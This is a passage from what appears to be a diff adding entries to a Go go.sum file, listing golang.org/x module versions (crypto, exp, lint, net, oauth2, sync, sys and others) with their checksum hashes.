h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= +golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= +golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= +golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= +golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= +golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= +golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= +golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= +golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= +golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190522155817-f3200d17e092/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= +golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= +golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= +golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= +golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= +golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220708220712-1185a9018129 h1:vucSRfWwTsoXro7P+3Cjlr6flUMtzCwzlvkxEQtHHB0= +golang.org/x/net v0.0.0-20220708220712-1185a9018129/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= +golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210402161424-2e8d93401602/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190412183630-56d357773e84/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220513210516-0976fa681c29/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210225134936-a50acf3fe073/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys 